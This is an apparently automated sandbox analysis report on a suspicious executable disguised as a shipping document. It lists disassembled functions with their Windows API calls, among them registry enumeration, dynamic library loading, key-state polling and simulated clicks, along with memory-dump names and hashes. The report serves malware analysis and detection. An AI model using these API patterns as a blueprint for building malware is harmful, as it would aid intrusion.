Function 00E2558D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E255EB
_memcpy_s.LIBCMT ref: 00E2565D
__read_nolock.LIBCMT ref: 00E256BB
__filbuf.LIBCMT ref: 00E256DE
_memset.LIBCMT ref: 00E25722

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 17c9c7776e299596ed796557eca7f8bd29831e9b0e98da48d3161094909ff33f
Instruction ID: ffd4668bc7e95bcd115424b4102164363b4d17208fa10ab49e521218526319b6
Opcode Fuzzy Hash: 17c9c7776e299596ed796557eca7f8bd29831e9b0e98da48d3161094909ff33f
Instruction Fuzzy Hash: 1A51EA32A00B25DBDB248F69EA8466E77B1EF40324F24972EF835B62D0D7709D508B40

Function 00E800C2 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E80EA5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E7FE38,?,?), ref: 00E80EBC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E80188
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E801C7
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00E8020E
RegCloseKey.ADVAPI32(?,?), ref: 00E8023A
RegCloseKey.ADVAPI32(00000000), ref: 00E80247

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: d8cbb13573bebb12b26e39c0d67d06c7b06499806f84f994b429b9a37276b8f9
Instruction ID: 0f081a0f0054ef4cbb49e0deee96b639fd3f6e8bd6b35b3f5e204cf3cffa1444
Opcode Fuzzy Hash: d8cbb13573bebb12b26e39c0d67d06c7b06499806f84f994b429b9a37276b8f9
Instruction Fuzzy Hash: 70515D31208204AFD704EF94DC85E6EB7E8FF88314F44592DF599A72A2DB30E948CB52

Function 00E7D9DC Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00E7DA3B
GetProcAddress.KERNEL32(00000000,?), ref: 00E7DABE
GetProcAddress.KERNEL32(00000000,00000000), ref: 00E7DADA
GetProcAddress.KERNEL32(00000000,?), ref: 00E7DB1B
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00E7DB35

Part of subcall function 00E05B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00E6793F,?,?,00000000), ref: 00E05B8C
Part of subcall function 00E05B75: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00E6793F,?,?,00000000,?,?), ref: 00E05BB0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: ec1cf303cc93b8beae4e1ab1d46fa552383ea104c16aebeecab1a81b413e1df6
Instruction ID: 541ebde740fa19931e15f169648ae10ba7798e98d22b32b78dfb2292b0f5f2bd
Opcode Fuzzy Hash: ec1cf303cc93b8beae4e1ab1d46fa552383ea104c16aebeecab1a81b413e1df6
Instruction Fuzzy Hash: 60510435A042099FDB01EFA8C8849AEB7F4FF59314B15D069E819AB352DB30AD85CF91

Function 00E6E5FD Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00E6E6AB
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00E6E6D4
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00E6E713

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00E6E738
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00E6E740

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 975a16e88d739db8de929f61ebed4a7b2af8c5a4b4fc4481b35929362905aec1
Instruction ID: a6ea5c31f811dc1c8fa70d11edc6e266810a952f62d8c1e2afb4459b77cd8bf5
Opcode Fuzzy Hash: 975a16e88d739db8de929f61ebed4a7b2af8c5a4b4fc4481b35929362905aec1
Instruction Fuzzy Hash: B9513A39A00215DFCF05EF64C981AAEBBF5EF48314B149099E849BB3A2CB31ED51CB50

Function 00E8A088 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a470a1337fdae17ab416282ad413e2636d4e98982db6aa887b29226c0b03fe
Instruction ID: 642b716b7fe49b7e7b1e9e132c734f183234d0b9f6f90cf18c4111100bcef477
Opcode Fuzzy Hash: 71a470a1337fdae17ab416282ad413e2636d4e98982db6aa887b29226c0b03fe
Instruction Fuzzy Hash: C941D3B5902104AFE710EF28CC4DFA9BBA5EB09364F191276E81DB72E1C730AD41DB51

Function 00E02344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E02357
ScreenToClient.USER32(00EC57B0,?), ref: 00E02374
GetAsyncKeyState.USER32(00000001), ref: 00E02399
GetAsyncKeyState.USER32(00000002), ref: 00E023A7

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: b72847dbcf863d2404bfb6156d933097594a3c89b0035137024e9beb8f824c0f
Instruction ID: f4ebc6d5a5442b3d86bd0b1ea24d329f0d50457ca9ed1075084ff80ba8c348f6
Opcode Fuzzy Hash: b72847dbcf863d2404bfb6156d933097594a3c89b0035137024e9beb8f824c0f
Instruction Fuzzy Hash: 7C41813590410AFFCF159F64C848AE9BBB4FB05324F20536AF928B22D1C734A994EB91

Function 00E56700 Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E5673D
TranslateAcceleratorW.USER32(?,?,?), ref: 00E56789
TranslateMessage.USER32(?), ref: 00E567B2
DispatchMessageW.USER32(?), ref: 00E567BC
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E567CB

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 96ca6ba4e5ddf6c7e69dc93a769ca5164f593f4da05155f745e06e8d503313f5
Instruction ID: 7a56ee107ac83897680ba0f65215dea600ab2b54dddd915d701215412b4c6acd
Opcode Fuzzy Hash: 96ca6ba4e5ddf6c7e69dc93a769ca5164f593f4da05155f745e06e8d503313f5
Instruction Fuzzy Hash: F931B4329006069FDB248BB1CC44FF67BF8AB09309F541976E825F71A1E725A88ED790

Function 00E58CE1 Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00E58CF2
PostMessageW.USER32(?,00000201,00000001), ref: 00E58D9C
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00E58DA4
PostMessageW.USER32(?,00000202,00000000), ref: 00E58DB2
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00E58DBA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: bdb267b810a36f7746ca8b5d7ca3e11513fd2f7e015ed6a20097ad4fba71da03
Instruction ID: a0573199b4f6bd6ce50e44c7387769e63773f1900cd1e34cec851550d3c1dad4
Opcode Fuzzy Hash: bdb267b810a36f7746ca8b5d7ca3e11513fd2f7e015ed6a20097ad4fba71da03
Instruction Fuzzy Hash: FE31CE71900219EFDF14CF68DA4CAAE3BB9EB14316F104629FD29FA1D0C7B09918DB91

Function 00E5B4AE Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00E5B4C6
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00E5B4E3
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00E5B51B
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00E5B541
_wcsstr.LIBCMT ref: 00E5B54B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: dbdce022ffaeecf14d174088a1fb3945741ab561db8aa9b9e5b876a8a4d0e786
Instruction ID: aa4387b002bc1960934351d7df1956f562f00fdd6456b363c8cee215f8f0f015
Opcode Fuzzy Hash: dbdce022ffaeecf14d174088a1fb3945741ab561db8aa9b9e5b876a8a4d0e786
Instruction Fuzzy Hash: DB210A31604100BEEB255B39AC05E7B7B99DF49751F105139FC09FA1A1FB61CC4497A0

Function 00E8B17F Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

GetWindowLongW.USER32(?,000000F0), ref: 00E8B1C6
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00E8B1EB
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00E8B203
GetSystemMetrics.USER32(00000004), ref: 00E8B22C
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00E70FA5,00000000), ref: 00E8B24A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 6515aa4b52c82ce9b4a01e04d90f663e34346dd2155a27e6b801b6942adec6d0
Instruction ID: ff03bb0c560fa68340587dcccc6c58cf408e7982d5fc06dcfc1c7f650a4be4b3
Opcode Fuzzy Hash: 6515aa4b52c82ce9b4a01e04d90f663e34346dd2155a27e6b801b6942adec6d0
Instruction Fuzzy Hash: E6217C32910655AFCB14AF798C08A6A37A4EB05725F105738F93EF62F0E730A8559B90

Function 00E595C9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E595E2

Part of subcall function 00E07D2C: _memmove.LIBCMT ref: 00E07D66

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00E59614
__itow.LIBCMT ref: 00E5962C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00E59654
__itow.LIBCMT ref: 00E59665

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 503368bac5f7815e5d3cc74635229208b1143c86703d4f0c18e267701de2c88c
Instruction ID: 36e043f6969e02eed8b211c7fd8eccd026c6b4e52f8db16e7c7efaaaf2f39433
Opcode Fuzzy Hash: 503368bac5f7815e5d3cc74635229208b1143c86703d4f0c18e267701de2c88c
Instruction Fuzzy Hash: EA21C831B00214FBDB10AAA58C89EEE7BE8DB59715F042425FD04F7292D6B09D8D9792

Function 00E012F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00E0134D
SelectObject.GDI32(?,00000000), ref: 00E0135C
BeginPath.GDI32(?), ref: 00E01373
SelectObject.GDI32(?,00000000), ref: 00E0139C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: d0abdcf5ce62585502134d0328c2978b40b9f56737a1cffe18eea5514f72dc5b
Instruction ID: 709200f88d8a2a1ad9145e43941455a64033527b9ae35da16d4be869cdeda1d8
Opcode Fuzzy Hash: d0abdcf5ce62585502134d0328c2978b40b9f56737a1cffe18eea5514f72dc5b
Instruction Fuzzy Hash: 16214F32800604DFDB159F16EC09B6D7BA8EB00355F54427AF414BA1E0D776A8DADF50

Function 00E64B3A Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E64B61
__beginthreadex.LIBCMT ref: 00E64B7F
MessageBoxW.USER32(?,?,?,?), ref: 00E64B94
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00E64BAA
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00E64BB1

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 35117d51f8b8986b2cdc28f7f2e45f712f6f7f1ab995deb976c73672d3fe6bf9
Instruction ID: a2a5c198bb70555cd9b561c3128bed1c9b71cec0ff143a37c92d908843ab2655
Opcode Fuzzy Hash: 35117d51f8b8986b2cdc28f7f2e45f712f6f7f1ab995deb976c73672d3fe6bf9
Instruction Fuzzy Hash: C31125B2905204AFC7019BA9EC08E9A7FECEB44324F140265F814F32A1D6B2C84887A0

Function 00E5852A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E58546
GetLastError.KERNEL32(?,00E5800A,?,?,?), ref: 00E58550
GetProcessHeap.KERNEL32(00000008,?,?,00E5800A,?,?,?), ref: 00E5855F
HeapAlloc.KERNEL32(00000000,?,00E5800A,?,?,?), ref: 00E58566
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E5857D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 28bfbf8c5ee9f959bbd5d3c950983d20b2d33eca0b5ffbb6449c0720146deeb7
Instruction ID: d3e3c449e38f83b39779cda0652d9ea0a53bc0c8113b5135ec04b9b606755c0a
Opcode Fuzzy Hash: 28bfbf8c5ee9f959bbd5d3c950983d20b2d33eca0b5ffbb6449c0720146deeb7
Instruction Fuzzy Hash: B7014F71601204EFDB114FA6ED48D6B7B6CFF457557140529F809E2120EA318D14DF60

Function 00E652EB Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65307
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00E65315
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E6531D
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00E65327
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00E65363

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: ca2958441eff8578f2d69eba2155b659d580c18c97d014b256d66270e581e183
Instruction ID: fe666ae3d5557636137468949b83fe70fcdeaf32aa55dcc174c0c677e0f9d0ae
Opcode Fuzzy Hash: ca2958441eff8578f2d69eba2155b659d580c18c97d014b256d66270e581e183
Instruction Fuzzy Hash: C601AD32D82A1DDBCF009FE5EC8C5EDBB78FB08780F01045AE845F2254CB70551487A1

Function 00E57432 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?,?,00E5777D), ref: 00E5744F
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?), ref: 00E5746A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?), ref: 00E57478
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?), ref: 00E57488
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?), ref: 00E57494

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c4d5a342b48e72f4e3e39c344adfcaf188ea0bf0a13e99c5bf228ce628d45aa3
Instruction ID: 3cbd6c5a21fac771aa5e7e576703547058fd11c7a943c5b2afa918a36a453c38
Opcode Fuzzy Hash: c4d5a342b48e72f4e3e39c344adfcaf188ea0bf0a13e99c5bf228ce628d45aa3
Instruction Fuzzy Hash: A0018F72601218BFDB245F65EC44BAA7FBDEB44762F145424FD48E2220EB31DD589BA0

Function 00E583D1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00E583E8
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00E583F2
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00E58401
